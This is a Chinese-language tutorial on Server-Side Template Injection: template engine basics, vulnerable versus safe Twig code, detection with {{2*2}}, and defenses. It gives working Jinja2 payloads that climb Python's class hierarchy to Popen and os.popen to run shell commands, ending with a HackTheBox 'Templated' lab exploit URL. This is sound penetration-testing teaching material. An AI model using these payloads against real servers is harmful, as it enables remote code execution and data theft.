SSTI漏洞原理及渗透测试
字数 2460 2025-08-12 11:34:37
SSTI漏洞原理及渗透测试详解
一、模板引擎基础
1.1 模板引擎概念
模板引擎(Web开发中)是为了使用户界面和业务数据(内容)分离而产生的技术,它可以生成特定格式的文档。模板引擎会提供一套生成HTML代码的程序,之后只需获取用户的数据,放入渲染函数,该数据便会嵌入生成好的HTML页面中,然后反馈给浏览器。
1.2 MVC模式与模板引擎
当前主流框架一般采用MVC模式:
- Model:业务模型层,处理业务逻辑和数据库存取
- View:视图层,负责展示数据
- Controller:控制器层,接收用户输入并协调Model和View
模板引擎的基本机理是替换(转换):
- 将指定的标签转换为需要的业务数据
- 将指定的伪语句按照某种流程来变换输出
1.3 模板引擎示例代码
// 模板
var template = '<p>Hello,my name is <%name%>.I am <%age%> years old.</p>';
// 用于匹配的正则
var regex = /<%([^%>]+)?%>/g;
// 数据
var data = {
name: 'Deutsh',
age: 22
}
// 模板引擎
var TemplateEngine = function (template, data) {
while (match = regex.exec(template)) {
template = template.replace(match[0], data[match[1]])
}
return template;
}
// 执行
var string = TemplateEngine(template, data)
console.log(string)
二、SSTI漏洞原理
2.1 SSTI定义
SSTI(Server-Side Template Injection):当服务端接受用户输入后,未经任何处理就将其作为Web应用模板内容的一部分,导致模板引擎在进行目标编译渲染的过程中,执行了用户插入的可执行语句。
2.2 漏洞产生条件
-
用户输入直接作为模板变量值(安全情况)
$output = $twig->render("Hello {{name}}", array("name" => $_GET["name"])); -
用户输入作为模板内容的一部分(危险情况)
$output = $twig->render("Hello {$_GET['name']}");
2.3 常见模板引擎语法
| 语言 | 引擎 | 模板变量语法 |
|---|---|---|
| PHP | Twig | {{%s}} |
| PHP | Smarty | {%s} |
| PHP | Blade | {{%s}} |
| Python | Jinja2 | {{%s}} |
| Python | Tornado | {{%s}} |
| Python | Django | {{ }} |
| Java | FreeMarker | <#%s>``${%s} |
| Java | Velocity | #set($x=1+1)${x} |
三、SSTI检测方法
3.1 基本检测步骤
- 更改请求参数使之承载含有模板引擎语法的Payload
- 通过页面渲染返回的内容检测Payload是否被编译解析
- 如果解析则存在SSTI漏洞
3.2 检测示例
对于Jinja2模板引擎,尝试输入:
{{2*2}}
如果页面返回4,则确认存在SSTI漏洞。
四、SSTI利用技术
4.1 Python(Jinja2)利用方法
方法一:通过对象继承链
-
获取基本类
{{''.__class__.__mro__[1]}}__class__:返回对象类型__mro__:返回继承关系元组
-
获取所有子类
{{''.__class__.__mro__[1].__subclasses__()}} -
查找Popen类(通常在414号位置左右)
{{''.__class__.__mro__[1].__subclasses__()[414]}} -
执行命令读取文件
{{''.__class__.__mro__[1].__subclasses__()[414]('cat flag.txt',shell=True,stdout=-1).communicate()}}
方法二:通过内置模块
-
获取内置模块引用
{{''.__class__.__mro__[1].__subclasses__()[1500].__init__.__globals__['__builtins__']}} -
导入os模块并执行命令
{{''.__class__.__mro__[1].__subclasses__()[1500].__init__.__globals__['__builtins__']['__import__']('os').popen('cat flag.txt').read()}}
4.2 关键Python魔术方法
| 方法 | 描述 |
|---|---|
__dict__ |
保存类实例或对象实例的属性变量键值对字典 |
__class__ |
返回调用的参数类型 |
__mro__ |
返回包含对象所继承的基类元组,方法解析按元组顺序 |
__bases__ |
返回类型列表,寻找基类 |
__subclasses__ |
返回object的子类 |
__init__ |
类的初始化方法 |
__globals__ |
以字典类型返回当前位置的全部全局变量(与func_globals等价) |
__builtins__ |
指向__builtin__模块,包含Python内建函数 |
五、防御措施
- 输入过滤:对用户输入进行严格过滤和验证
- 沙箱环境:在沙箱环境中执行模板渲染
- 最小权限:模板引擎运行在最小权限环境下
- 静态模板:避免动态拼接模板内容
- 安全配置:禁用危险的模板功能和过滤器
六、实战案例
以HackTheBox的"Templated"靶场为例:
- 识别模板引擎为Jinja2
- 测试基本表达式
{{2*2}}确认漏洞 - 通过继承链找到Popen类执行命令
- 读取服务器上的flag.txt文件
完整利用链:
http://target/{{''.__class__.__mro__[1].__subclasses__()[414]('cat flag.txt',shell=True,stdout=-1).communicate()}}
七、总结
SSTI漏洞危害严重,可导致远程代码执行。渗透测试时需:
- 识别使用的模板引擎类型
- 测试是否存在模板注入点
- 根据引擎类型选择合适的利用方式
- 逐步构建利用链获取系统权限
防御关键在于严格控制用户输入与模板内容的边界,避免将不可信数据直接作为模板内容渲染。